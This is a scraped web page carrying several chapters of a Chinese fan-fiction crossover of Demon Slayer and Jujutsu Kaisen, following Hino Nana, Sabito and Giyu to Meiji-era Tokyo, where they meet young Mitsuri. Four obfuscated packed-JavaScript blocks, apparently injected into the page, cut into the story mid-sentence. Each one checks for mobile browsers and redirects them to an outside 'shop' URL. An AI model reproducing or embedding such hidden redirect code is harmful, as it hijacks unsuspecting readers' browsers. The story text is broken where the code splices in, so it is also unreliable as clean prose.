d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102901|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以让鎹鸦送信，等安排好了再出下个任务。” 锖兔有了新反应：“下个任务我和你一起。” 奈奈怔了一下：“和我？那义勇呢？” “他本来就不需要我，只是任务地点近，可以一起行动而已。”锖兔说。 他不痛不痒地刺了奈奈一下：“义勇很会保护自己，比奈奈好多了。” 日野奈奈祸水东引失败，心虚地闭上了嘴。 正当此时，一个毛茸茸的脑袋探了进来。 “我好像听到了自己的名字。” 义勇蓝色的大眼睛眨了眨，滴溜一转，看到了醒来的日野奈奈。 奈奈长出一口气，高兴地朝他打招呼：“义勇！好久不见！” 快来，别让我一个人和锖兔待着了！ 义勇愣了愣，惊喜地睁大眼睛，眼泪汪汪地扑到床前：“你终于醒了！你昏迷了整整两天，我们好担心！” “你还好吗？脖子痛吗？”他忧虑道，眉头皱得很紧，关心地看着少女。 啊，义勇，多么可爱的小天使。 日野奈奈捧心。 “我很好，伤口没有痛。”她笑道，“小伤而已啦，不用在意。” 刚刚还被奈奈心里称赞的小天使闻言脸色急转直下。 义勇不赞同地瞪着奈奈：“这怎么能叫小伤？医生说了，再深一点的话就要割到动脉了，你会死的。” 他直白道。 “死”字刺激到了一旁人的神经，日野奈奈余光瞥到锖兔的脸色又开始变黑。 不妙！ 她赶忙转移话题：“啊，目前真的没事啦，义勇这是从哪里回来的？” 身披深红羽织的少年一副风尘仆仆的样子，手里还握着日轮刀。 义勇道：“刚刚又接到了一个任务，是附近的鬼。” 日野奈奈默了默：“……还真是源源不断啊，这种东西。” 义勇眼底闪过厌恶：“是啊。” 两人聊了一会儿，锖兔也时不时插个话。直到日野奈奈再次露出略微疲倦的神色，锖兔和义勇才起身告辞。 “好好睡一会儿，我们晚点再来看你。”锖兔说。 “点心放在这里，饿的话要吃。”义勇放下捎带的东西。 日野奈奈无奈：“行了，不要搞得我像小孩子一样不懂照顾自己好吗？两位比我年纪小的弟弟？” 锖兔和义勇的眼神共同流露出“你心里没数吗”的意味。 日野奈奈：“……” 看来自己这一遭把两人的信任值刷成负数了啊。 门被带上，房间中唯有安静的日光从廊缘斜铺过来，惊鹿在静默的冬日午后捶打着石钵。 枯枝的剪影印在障子上，风偶尔经过时，它们只极轻微地颤一下。 日野奈奈捂住脸，长长地呻吟了一声。 “真是的，”她小声嘀咕，“有完没完啊。” “……不死川，我知道你在外面。” 静置很久的一截衣角动了动，白发少年的身影在缘侧出现。 “……什么时候知道我在的？” “锖兔进来之后不久你就来了吧，”她说，“真是的，也不知道进来帮我说话，你知道当时情况紧急。” 不死川实弥呵了一声：“我觉得他骂得对。” 日野奈奈噎了一下，撇嘴：“搞什么。” 不死川实弥没接话，两人之间一时静了下来。 日野奈奈闭上了眼睛。 身体到底是消耗太过，倦意一阵一阵止不住地涌上来。 在她差点又要睡过去时，少年声音很低地开口。 “你是……妖怪吗？” 11. 不告而别 迷迷糊糊听到“妖怪”两个字，日野奈奈乐了。 睡也不睡了，她睁开眼看向实弥道：“我哪像妖怪？” “……这还要问我吗，是你应该要证明自己是人类吧。”不死川实弥靠着墙咕哝。 “你那道伤口原本是什么样，我清清楚楚。” 日野奈奈认真思索了一下：“也是哦。” “……” 不死川实弥和她大眼瞪小眼，良久，忍无可忍：“你不该对我再说些什么吗？” 日野奈奈把手伸出被子，在阳光下漫不经心地张开手掌。 她侧头向不死川实弥看去：“有什么好说的。” “反正你看上去挺高兴的，这不就足够了吗。” 不死川实弥一愣，他的手下意识摸上自己的嘴角，感受到一抹微妙的弧度。 他……在开心吗？ 少年飞快回神板正嘴角，他压下眉眼：“不许糊弄我！” 日野奈奈把手放到后脑勺，有些苦恼：“就只是有点特异能力啦，给自己治治伤，给他人疗疗伤之类的……这个世界上都有鬼了，那么多一个特别的人也没什么大不了的吧。” “况且你也应该是那种特殊之人啊。” 她想起不死川实弥“来源”的身份，与义勇一样。 明明之前几天相处时还毫无异常，结果与鬼战斗后就突然出现了，这个“来源”解锁的对象和时机到底是什么呢…… 日野奈奈沉入自己的思绪，再次把不死川实弥晾在了一边。 看着少女神游天外的样子，不死川实弥额角爆出一根青筋：“给我好好对话啊，混蛋！什么特殊不特殊的，听不懂啊！” 日野奈奈左耳进，右耳出。 啊，想不清楚，样本量也太少了……她想。 但总觉得这个“来源”是围绕鬼杀队分布的，待在这里她或许迟早会碰到更多。 要尽量接触更多的人和事，集齐“来源”后肯定能解锁下一阶段，比如找到开启咒术界门扉的钥匙…… 小说里都是这么写的！ 奈奈愉快极了。 提起咒力相关，旋即她又想起了另一件事，于是少女再次看向不死川：“不死川，你为什么想加入鬼杀……” 她的语气慢慢迟疑：“呃，加入……” 被连续忽略的少年一脸黑气，面色狰狞地看着她。见奈奈终于看过来，他皮笑肉不笑：“哟，还舍得理人啊？” “果然对你这种人就不该多耐心吧！你真的有把我放眼里吗！” 不死川实弥紫眸里满是暴躁，眼神危险。 “对不起。”日野奈奈迅速滑跪。 她想了想，挣扎着想起身，脖子传来钝钝的疼。 不死川实弥一惊，黑着脸扶她：“干什么，伤员有点自知之明行吗？” 日野奈奈坐好，摸了摸纱布，之前濒死时的景象再次浮现脑海。 “因为突然想起了一件事，想和你谈谈。” 不死川皱眉：“什么？” “你想加入鬼杀队，是因为身边的人被鬼伤害了吗？”奈奈认真看他。 “比如一个女人几个孩子这样——” “砰！” 话音未落，不死川实弥身体猛地一抖，小腿狠狠磕在地上，日野奈奈瞬间闭嘴，看向他的表情。 不死川实弥脸上的神色冰冷而恐怖，嘴唇抿成一条惨白的直线，他的牙关咬得很紧。 “跟你有什么关系！”他冷硬道。 日野奈奈微微蹙眉，长话短说：“和木偶鬼的那场战斗之后，我从你的背后看到了六道人影，一位温柔的妇人和几个幼小的孩子。” 不死川实弥一颤，他的嗓音像是从牙缝里挤出来：“……你调查我？” 如果说之前只是普通的烦躁和抱怨，那么现在他的脸上全是真正的敌意与排斥，甚至有隐约的威胁。 日野奈奈有些错愕，哪怕是之前吵架时，不死川实弥也从未对她展现这样的攻击性。 见他状态不对，奈奈迅速摒弃了其他话，单刀直入：“那是你的家人吗？如果是的话，我需要跟你说，她们还没有完全死去。” 亟待火山爆发的情绪僵在火山口，不死川实弥像是听到天方夜谭：“……哈？” “具体原理我很难解释，总之你家人现在处于一种变成名为咒灵，呃或者是精灵之类的能量体状态。”日野奈奈努力组织词汇。 她绞尽脑汁把咒术界的术语描述出来：“这里应该是叫怨灵？还是鬼魂什么的……” “开什么玩笑。”不死川实弥打断了她，几乎是愤怒地笑出声。 “你是想说他们即使是死后也去不了天堂，还要在这里被你编排是吗？” 日野奈奈听这话很不舒服：“我不是这个意思——” “你就是这个意思。”不死川实弥猛然站起身，“闭嘴吧，我不想听到这些让人发笑的言论。” 他大步朝外走去，在障子处停顿了一下：“他们只用好好安息，这令人作呕的世间和他们无关。” 咔。 门被狠狠带上。 还来不及说完话的日野奈奈生生被气笑了。 “白痴不死川！不识好人心！”她向人离开的方向怒骂道。 为啥不听她说完啊，她说的是真的啊！ “被某种力量介入，所以并没有去往生，而是被困在了关系亲近的人身边，我又没说错。”日野奈奈嘀嘀咕咕。 她还想告诉不死川，这些能量体她或许有办法救呢。 毕竟她的术式以太阳为媒介，其扭转生命的权能，按五条老师的话来说或许还和天照大神挂钩。 “有时候真的觉得奈奈的咒力看起来完全不像咒力啊。”五条悟曾感慨道。 日野奈奈摇摇头，把突然冒出来的屑老师甩到脑后。 虽然鬼杀队黑夜作战削弱术式作用，但是不死川背后的几个能量体完全可以留到白天处理。 算了，想那么多干嘛，反正不死川也不听她说话。 日野奈奈鼓起腮帮子，直直地盯着天花板。 和锖兔没吵上的架被不死川补上了，一个两个，脾气干嘛这么暴躁。 这次周围是真的没有其他动静了，她静静地听了会儿耳边的白噪音，重新躺回被褥里。 ……之后再找机会好好和不死川聊聊好了。 好歹是六条人命。 但直到喉间的伤口愈合，日野奈奈再没找到和不死川实弥单独谈话的机会。 这个叫藤屋的地方居然能这么弯弯绕绕，每次都能让不死川在看到她之后默然避开。 “所以他到底在躲什么啊！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102902|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日野奈奈无可奈何地对一起用餐的锖兔吐槽。 彼时是黄昏，距离日野奈奈苏醒后又过了两天。 锖兔的日轮刀别在腰间，他晚上要去出任务，临走前和奈奈一起吃饭。 “倒不如问你对他做了什么。”他咽下一口饭。 锖兔面色平静：“说实话，在对奈奈生气这件事上，我可以理解不死川君的做法和心情。” 对别人时，嘴里的道理一套一套，但到了对自己的时候，她的行事却完全不会顾及自己的性命。 那双银眸静静地瞥了少女一眼。 日野奈奈把其他吐槽咽了回去。 锖兔气怎么还没消完。 她有些叫苦不迭。 都说了上次只是个意外啦，而且也强调自己很强了。 锖兔表面上放过了她，但这两天一有空就来到她房间和义勇一起盯她喝药。 表情很严肃，生怕她忌讳就医不遵医嘱。 虽然她确实想偷偷跳过喝药这个环节，用反转术式治好自己得了。 反正咒力在义勇和不死川身边回复很快。 “好嘛，但我真的只是想做件好事而已啦。”她叹气道。 锖兔犀利道：“就怕你所谓的好事又是伤害自己得来的。” ……这茬过不去了。 日野奈奈彻底闭嘴吃饭。 次日，日野奈奈想再次去找不死川实弥，却被告知他在清晨就和齐木飒太离开了。 “什么？”她有点不相信自己听到的，“没人跟我说啊！” 被她搭话的妇人面色无奈：“我本来是想去跟您讲的，但是被那位白发少年拦下了。” 让那个混蛋在床上乖乖躺着，别搞一些有的没的。 少年离开时的冷笑之语在妇人脑海中响起，她知趣地没说出来。 “那位少年说，齐木队员答应带他去见一位培育师了，让您不用多操心。”妇人把其余原话修饰了一下，委婉道。 但日野奈奈知道，以那家伙的脾气肯定趁机骂了自己两句。 “恼人的不死川。”奈奈气道。 她的情绪有些低落。 分别得好突然。 虽然老是在吵架，但她已经将对方视为新朋友了。 每天不对骂两句，就感觉身上有蚂蚁在爬。 “他还说了什么吗？”日野奈奈问。 妇人想了想，回答她：“那位少年最后好像提了一句…… “不会让任何人再在他眼前死去了。” 日野奈奈怔住，目光不自觉投向院落之外。 那里似乎有一个身上满是疤痕的少年。他冷淡地看了她一眼，随后朝遥远的路途大步走去，义无反顾。 自己的假死好像给不死川加重阴影了，她后知后觉地想。 ……好吧，这是她的错，她会记得给不死川寄信的。 日野奈奈转头问妇人：“您知道收留不死川的培育师是哪位吗？” “名字不清楚，但似乎是传授风之呼吸的。”妇人道。 那就是暂时断联了啊，日野奈奈叹了口气。 之后看看能不能遇到风呼剑士打听一下消息吧。 想起少年那双越发晦暗的紫瞳，奈奈心里浮现些许愧疚。 ……下次再见面不知道是什么场景呢。 12. 痊愈 不死川实弥离开后，日野奈奈也没有在藤屋停留多久。 医生拆开纱布，仔细地为坐着的少女检查一番。 他高兴点头：“痊愈得很好，康复了。” 站在日野奈奈身后紧张兮兮的两人长舒一口气。 奈奈无语地看了锖兔和义勇一眼。 都说她肯定没问题的。 虽然当时她咒力耗尽没能把伤口全部修复完，但是好歹也知道优先治愈最关键的部分。 但是锖兔他们就好像她只知道破坏自己的身体一样，坚持让医生为她作最后一次复诊。 “真是神奇，那么可怕的创伤最后只留下了这么一点疤痕。”医生赞叹道，“你的体质很好。” 少女骄傲颔首，她自得地看了一眼旁边两人，只得到了“好自为之”的警告眼神。 日野奈奈：“……” 行叭。 她原谅他们的过度紧张，没关系，以后相处久了他们会习惯的。 挥着手向医生和藤屋的各位礼貌道别后，奈奈三人踏上了新任务的道路。 彼此交流了一下前几个任务遇到的鬼，日野奈奈对自己的倒霉程度有了新的认知。 锖兔和义勇的任务不用多说，都是普通的鬼，但日野奈奈刚遇到的这只鬼比较特殊。 据锖兔的了解，这只鬼恐怕有了逼近下弦的实力。 “我抽空向隐的成员了解了后续，”锖兔说，“那个镇子里实际上几乎没有活人了，这只鬼可能已经吃了上百人。” “吃得越多，鬼就越强大。如果再让这只鬼这么下去，它或许会成为新的十二鬼月也说不定。” “十二鬼月？下弦？”日野奈奈匪夷所思，“鬼这种生物还会自封名号吗？” 吃人的丑陋生物，还搞得这么文艺范。 旁边的义勇也好奇地支起耳朵听。 “十二鬼月是鬼中实力最强大的十二只鬼，杀了其中任意一只便可以成为鬼杀队的柱级成员，鳞泷师父便是这么当上曾经的水柱的。” 日野奈奈脑海里后知后觉浮现锖兔在狭雾山和她聊过的内容：“啊，我好像记得柱是鬼杀队最强的战力对吧。” 锖兔有些无奈：“没错。这么说来你的运气真是让人惊叹啊，这种程度的鬼被你碰上了。普通人压根遇不上这么强的鬼。” 日野奈奈耸了耸肩：“那也挺好的，至少不是其他普通队员遇上这只鬼，而我刚好杀得死他。” 少女的神情很淡，她的眉舒展着，嘴角线条柔和，像是一个自然的微笑。 ……她还是如初见时那样，仿佛可以从容地面对一切。锖兔想。 有时候他真的觉得，死亡也好，还是所谓的下弦也好，在日野奈奈眼里与空气、水流亦或是自然万物都没有差别。 而拔刀斩鬼或是舍身救人，这些不同的行为在她眼中也都无异。 似乎没有什么可以阻挡她的脚步。 锖兔突然有种感觉，日野奈奈像是漂浮在这个世界之上，置身事外凝视着所有。 他的脚步顿住，因这个莫名的联想而心尖一颤。 ……那么他们呢？ 被他们视为重要同伴的日野奈奈，会以对待他物的、同样的无谓态度看待他们吗？ 锖兔突如其来的思绪显然不为他人所知。 义勇听见了奈奈的话，皱着眉摇摇头：“一点也不好，你受伤了。” “真正好的事情是这个世界上的鬼都消失，没有任何人会受伤。”黑发蓝眸的少年认真无比道。 他轻轻抚摸自己的深红色羽织，想起姐姐富冈鸢子温柔的笑颜，心底的难过和自责再次油然而生。 如果世界上没有鬼……姐姐应该已经开心出嫁，幸福地生活着了吧。 义勇的眼睛黯淡下来，但余光却瞥见日野奈奈略微惊奇地看着他。 她用一种欣慰的语气道：“义勇偶尔还是会说出很棒的话嘛。” 心头的难过瞬间散去，义勇震惊地睁大眼睛，用一种看负心女的眼神看着奈奈：“偶尔？我前面在藤屋都白关心你了吗？” 日野奈奈眨着眼睛不说话，像是默认，义勇的眼神从不确定的迷茫逐渐转向不可置信的控诉。 亏他看她喜欢甜食，天天给她带小点心！ 日野奈奈噗嗤一声笑了，不再逗他：“开玩笑啦，义勇一直都很棒啊。” “听说前几个任务的效率都很高，剑技也越发精进了。” 说到这个，她怀念道：“自从出任务开始，就再没听到锖兔训义勇了呢。” ——变成了她被锖兔训，奈奈把后半句话吞回肚子。 义勇不满道：“这种记忆就不必留存了。” 锖兔慢半拍反应过来他们的话题，接过了话：“义勇从藤袭山回来后就更加努力了，这些天在藤屋也有一直加练。” 听出锖兔站在他这边，义勇含蓄又高兴地颔首。 “不像有个人，好像从没看她训练过……”锖兔眼神颇有深意地转向少女。 日野奈奈若无其事地挪开视线。 锖兔哼笑一声。 边调侃边闲聊，他们很快走到了要分别的地方。从这条岔路开始，义勇就要和他们走两个方向了。 愉快闲适的时间总是短暂的，重逢几天后又是新一轮的离别。 “那么之后再见了。”义勇站在道路的另一头。 年岁不大的少年昂然站立，经历过任务洗礼的脸庞逐渐褪去稚嫩，变得沉稳许多，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102903|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有那双如海般美丽的蓝眼睛同之前一样明亮。 他看向日野奈奈：“你总要记得量力而行才对。” “是你让大家不许死的，我都记在心里。”他强调。 “如果奈奈做不到，我支持锖兔把你赶出鬼杀队！” 锖兔认可点头：“是啊，我会努力把你赶出去的。” 水呼两兄弟一唱一和，日野奈奈捂着耳朵：“啊啊，知道了，怎么又在念叨这个，我记得了啦！” 下次再需要强力释放术式的时候，绝对要避开这两人！ 日野奈奈头铁地想。 虽然理解他们的担忧，但他们真是太大惊小怪了。 她可是很强的，区区致命伤而已！ 被一番叮嘱后，义勇总算作罢。日野奈奈目送义勇往另一条路上走，走了几步又回头对他们挥手。 日野奈奈举手回他的挥别。 义勇消失在路的尽头，奈奈放下了手，转而摸了摸自己的胸口。 她有些困惑对锖兔说：“好像有点舍不得大家分开。” 真奇怪，明明上次在狭雾山分开时没什么感觉的，但现在…… 不死川也是，义勇也是。 只是在前进路上的暂别而已，为什么心里从此刻开始就已经在想念了呢？ 锖兔一愣，他微微睁大眼睛，侧头向少女看去。 少女脸上浮现出茫然的神色，似乎不明白这股思念从何而来，如同遥看众生的纯稚之子被尘世间看不见的羁绊轻轻缠住手腕。 他的唇角掀起微不可见的弧度。 “这不是好事吗？”他和奈奈一起走向前方，衣角在迎面而来的风中飘荡。 “这就是源于思念的关心。如今的你关心着我们，正如我们关心着你一样。” * 日野奈奈觉得锖兔对她的态度又温柔了好多，不过这份温柔没有被她关注太久。 行进一段时间后，半是熟悉半是陌生的景象在她眼前徐徐展开。 鎹鸦在两人的头顶盘旋，声音悠远地回荡在空气中。 “东京，已来到东京！繁华与浮躁之地，有人在不断失踪！日野奈奈与鳞泷锖兔，前去调查与斩杀藏匿之鬼！” ……东京。 幼时失忆的她醒来时，与夏油杰一同接纳了她的城市，又措不及防与她见面。 日野奈奈的眼底倒映着明治晚期的东京景象。 街市中和服与西装擦肩，遥远的天际线边，木造长屋与西洋楼□□织成一片，隅田川上蒸汽船拖着黑烟驶过。 她情不自禁地攥紧了腰际左侧的长刀。 掌心传来冰冷的刀柄触感。 那是她浑身上下为数不多的与东京咒高有关之物。 13. 蜜璃 “现在的城镇发展真是快。”锖兔好一会儿才说出一句话。 “……是啊，”奈奈回过神，“走吧。” 他们将日轮刀隐进羽织内，混入了来往的人群中。 步入东京之后，日野奈奈心情有些奇妙。 她与周围的行人交臂而过，像行走在时间的夹层上。 风还是那种风，混杂着东京的市井气和远处河流的气味。可那些建筑缝隙里漏出的天空，却是一种被蒸汽融化的混沌色。 清醒地提醒着她，这里不是千禧年后的东京。 日野奈奈初来乍到的那天，便明白自己脱离了原来的时代、原本的世界。 但熟悉的东京简直像是两个世界交汇的锚点，她心底不断涌上期待和眷恋的情感。 她看着周围的景致，脑海里渐渐浮现出一个轮廓。 “锖兔，等这趟任务结束后，陪我去找一个地方吧。”日野奈奈说。 锖兔：“当然可以，去哪里？” 奈奈笑眯眯地转头看他：“一起去找我以前的学校吧。” “可能很远，也可能很近……很大概率可能不存在。”她抬头看着远处天际掠过的归鸟。 “但是不去找一找的话，很不甘心呢。” 锖兔的目光与她亮晶晶的眼神相接，他有些恍然：“原来你的家乡在这附近？那也没有想象中那么远啊。” 他爽快答应：“去找吧！说不定能碰上你的那位老师呢。” “那位姓夏油的老师，是吗？我也帮你一起留意。” 说到这个，锖兔不免也在意起来。 一路相识到现在，日野奈奈浑身上下都是迷，秘密如同绕蝶之丝，将她的过去裹成密不通风的茧。 那些令他困惑的奇异力量，可能会在这里找到答案吗？ 日野奈奈一怔。 她没想到锖兔还记得之前自己跟他提过的事。 见锖兔一副上了心的样子，少女张了张口，想说其实也不必太认真对待这件事。 毕竟她知道，这里的世界终究不属于她。 还未待奈奈启唇，忽然。 “喔！居然真的吃完了！” “不可思议啊！明明是这么小一个孩子！” 街边的店里爆发处一阵喝彩声，吸引了两人的注意。 与喝彩声一同传来的，还有一阵诱人的香气。 ——是一家看上去热热闹闹的面馆。 锖兔看了看天色：“先去吃饭吧，趁还没天黑养精蓄锐。” 身披羽织的少年向面馆走去，日野奈奈失去了开口的时机，也不再纠结。 踏入面馆的第一步，日野奈奈便注意到了最中央的那张桌子。 那里人声鼎沸，桌上垒着小山高的食盒，都被吃得干干净净。十几位食客簇拥着坐在桌子旁的人，发出震撼的惊叹。 “再来一份！”嘹亮豪迈的稚嫩声音呼唤着老板。 被围在最中间的人站起身来，日野奈奈才发现那是一个可爱的小女孩。 女孩有着漂亮的粉绿色头发，左右眼的眼睑下各点着一枚小痣，笑起来时满是俏皮活泼的意味。 “不愧是我们蜜璃啊！”旁边似乎是父亲的角色哈哈大笑。 围观的食客们又发出一阵稀奇的赞叹。 “哇，好非凡的孩子。”奈奈小声对锖兔说，“真的假的，能吃下这么多碗，比我还要多呢。” 锖兔抱臂看了一眼中间的位置：“那女孩有天赋，以后会拥有很有力量的身体。” 他赞许道，欣赏着一切散发强者气息的人物。 “锖兔居然在夸人。”奈奈调侃。 “你想要？”锖兔道，“我也很肯定你的力量，奈奈，你是强者。” 措不及防的直白话语让少女愣了一下，有些意外：“我以为你对我的能力很不放心。” 差点大骂了她一顿，还决定跟她一起出任务。 啊，这个走向好熟悉，当初夏油老师貌似也是在她出了几个任务后就开始唠唠叨叨…… 奈奈呆了呆。 锖兔找到了靠墙的空桌，头也不回：“我从未否认你的实力，你身上令人挂心之处当然不在此。” 奈奈落座，好奇道：“那在哪？” 锖兔示意点餐：“这种事情还请你自己反思。” 没听到想要答案的奈奈撇了撇嘴：“什么嘛，卖关子。” 锖兔没有说话，沉静的目光落在对店家说话的少女身上。 少女和店家询问着有无特色面，神情愉快。 他眼底有复杂的思绪转瞬即逝。 面馆中心似乎又开始了新一轮的进食，快乐幸福的笑声从中心的桌子处一波波传来。 冬日里，面馆内热气腾腾，食客们言笑晏晏地交谈，轻松的氛围感染着日野奈奈。 她唇角抿出一个放松的笑：“真是令人安心的氛围啊。” 锖兔已经收敛思绪，在细心检查自己的日轮刀。听闻奈奈的话，他笑了笑。 “是啊。” 不一会儿，另一座小山在惊叹的目光中摆在奈奈和锖兔面前。 ——主要是锖兔。 赶了大半天的路，肚子早就饿了，两人在旁人敬佩的眼神中大快朵颐起来。 轻微的碗筷碰撞声中，日野奈奈听到了另外细小的声音。 一个粉粉的脑袋悄悄从他们的桌子旁探了上来。 浅绿色的瞳眸惊奇地看着他们。 “哥哥姐姐好厉害呀，蜜璃第一次见到比蜜璃还吃得多得多的人！” 女孩子的眼睛闪闪发光。 是刚刚那个胃口很大的孩子。 日野奈奈对她很有好感，放下碗筷逗她：“原来你叫蜜璃啊，名字跟本人一样可爱哦。” 被叫蜜璃的孩子捧住脸，有些害羞，又很开心：“哎呀，姐姐你也是呀，很漂亮！” 她想起来什么，转身跑去，又很快回来，眼睛亮闪闪地看着奈奈。 “姐姐，请你吃樱饼！虽然我已经吃掉了好多，但请不要嫌弃！” 奈奈被她近乎闪现的速度惊到：“噢，噢，谢谢你……” 这时，蜜璃的父亲带着抱歉的神情来到桌前：“两位，真是不好意思，小女并非有意打扰用餐。” 奈奈回了一个笑容，摇了摇头表示不介意，蜜璃父亲才又高兴起来。 “这孩子天生就吃得多力气大，”他摸了摸蜜璃的头，“出来这么多次都很少有见差不多胃口的人，所以她很高兴，也很喜欢你们。” 蜜璃露出一个可爱的笑容。 奈奈用手肘戳了戳锖兔，眼含暗示。 说你呢，东西都是你吃的！ 锖兔无奈地看了她一眼，礼貌地对蜜璃和她父亲点了点头：“我们的荣幸。” “能吃是福，蜜璃未来一定会成为很强大的人！”奈奈笑眯眯的，她从随身的包袱里摸了摸。 摸出了几颗金平糖，奈奈送给蜜璃：“来，作为樱饼的回礼。虽然是普通的糖果，不过是小猫形状的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102904|195754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也请小蜜璃不要嫌弃。” “哇——谢谢姐姐！”蜜璃惊喜地接过糖。 她喜爱地看着金平糖猫猫，恋恋不舍地看着奈奈两人，又向自己的父亲看去。 “爸爸，可以请哥哥姐姐来我们家做客吗？” 蜜璃父亲：“当然可以了蜜璃，这种事情你自己做主。” 蜜璃转头看向奈奈和锖兔，眼含期待：“姐姐，哥哥，请来我们家做客吧，蜜璃还有很多好吃的能分享给你们。” 女孩子纯粹明亮的笑容打动人心，简直像是无死角散发光芒的粉色小太阳。 奈奈差点就心动答应下来了，一旁的锖兔及时开口：“抱歉，但我们有要事在身。” 日野奈奈回神：“噢，对，不好意思呀，小蜜璃。” 蜜璃有些失落，但还是理解道：“哥哥姐姐是在约会吗？那我们下次再约好啦。” 旁边的锖兔猛然呛了几声，日野奈奈睁大眼睛：“哇，锖兔，我们在约会——” 锖兔额角迸出一根青筋，脖颈因咳嗽漫上一层红。 他缓了缓气：“别闹了，我不是义勇。” 日野奈奈不满道：“什么叫闹，跟义勇又有什么关系，你们本来就不一样。” “我知道锖兔就是锖兔啊。” 少女清悦的嗓音混着温暖的热气传入耳畔，锖兔睁大了眼睛，银色的眼瞳内有涟漪一圈圈荡开。 那你知道“约会”是什么意思吗—— 他下意识想说，话语临近唇边。 脑中忽然浮现很久以前日野奈奈对义勇说的“交往”。 嗯……她不知道吧，绝对不知道“约会”对两个异性之间来说是什么意思吧。 锖兔重新平静下来。 “……” 没注意到少年扭曲一瞬的表情，日野奈奈弯身歉意道：“哥哥姐姐只是有任务需要完成呢。” 蜜璃：“欸——” 听到两个年岁不大的孩子居然是出来办事的，蜜璃父亲一愣。他仔细看了看两人的打扮，眼尖地从羽织下看见队服的模样。 他迟疑道：“莫非……你们是隶属于鬼杀队的剑士？” 日野奈奈有些出乎意料，她和锖兔对视一眼。 鬼杀队是大部分普通人都不知道的存在，是黑暗里的影子。平凡的人们生活在平凡的日子里，若无意外，他们一辈子都不会和鬼扯上关系，更遑论认识鬼杀队。 难道蜜璃家遇到过…… 见他们的神情，蜜璃父亲便知道他们误会了，笑着解释：“请放心，我们并没有遇见过鬼，只是对邻里的事情略有耳闻。” “忘记自我介绍，鄙姓甘露寺，住在麻布区一带。附近有一户人家比较出名，也是借由那一家，我们才知晓这世间有‘鬼杀队’的存在。” 蜜璃父亲像是想起了感慨之事：“说起来，那也是很神奇的一家呢，似乎世世代代一直以杀鬼为职责。” 日野奈奈讶异。 鬼杀队不是在穷乡僻壤里乱窜的野生放养组织吗？ 这里窜窜，那里窜窜，队员全靠自发招揽，从某种意义上，鬼就是鬼杀队的HR…… 就是拥有这么不确定性的鬼杀队，还有住东京城里定居和传承的富贵人家呢？ 奈奈第一反应就是这家祖上和鬼之间得有何种深仇大怨。 “请问那户人家是……” 蜜璃父亲道：“你们或许也听说过，那家姓氏为炼狱。” “目前的当家是炼狱槙寿郎。” 14.思路 炼狱？没听说过。 奈奈茫然地看了锖兔一眼，锖兔的脸上显然也写着困惑。 ……连锖兔也不知道的话，那她更是完全没辙。 日野奈奈想。 ——但是请不要用这么眼巴巴的眼神看着她好吗，蜜璃？ 她转而无奈地想，低下头便能见到甘露寺蜜璃满脸“我爸爸帮上忙了吗”的明显神情，奈奈再瞎也没办法当做没看到。 她不忍心辜负女孩子的期待，于是果断点头。 “噢，原来是炼狱先生！” 虽然并不知道是谁，但有什么关系，都是鬼杀队的成员而已。 日野奈奈乐观地想。 女孩浅绿的眼睛亮了，满足地笑起来。 蜜璃父亲揉了揉蜜璃的脑袋，对眼前两人友好道：“如果你们需要去炼狱家的话，我可以帮忙指路。” 日野奈奈心里盘算起来。 她们来到东京的任务就是杀鬼，可进城以来都还没看到鬼的踪迹。 虽然很奇怪为什么有所谓的杀鬼世家坐镇在这里，还能传出闹鬼的情报，但日野奈奈认为或许可以从那位炼狱家那里获取情报。 ……但说实话，她对各种所谓的世家完全没有好感。 想起咒术界经历过的一些事情，日野奈奈的神情阴郁一瞬。 臭禅院，迂腐的老东西，臭加茂，懦弱的墙头草，臭五条——算了这个先不臭，五条老师还在里面呆着。 她抬起头重新扬起笑容，向蜜璃父亲点头：“那么麻烦您了，我们想见见炼狱先生。” 忽然手指一痛，是蹲在桌角的鎹鸦狠狠啄了她一口。 不知道为什么，奈奈觉得鎹鸦看她的眼神像在看一个脑子有病且不知天高地厚的问题儿。 她只当自己看错了。 奈奈已然做了决定，锖兔也没有多余意见，倒不如说，他也对这个炼狱家感到好奇。 用完餐后，他们便暂时结成一道。 天边夕阳渐沉，夜色混着灯火弥漫来开，街边行人神色倦怠，游人如织，一派闲适景象，仿佛一切都在有序而平缓地运行着。 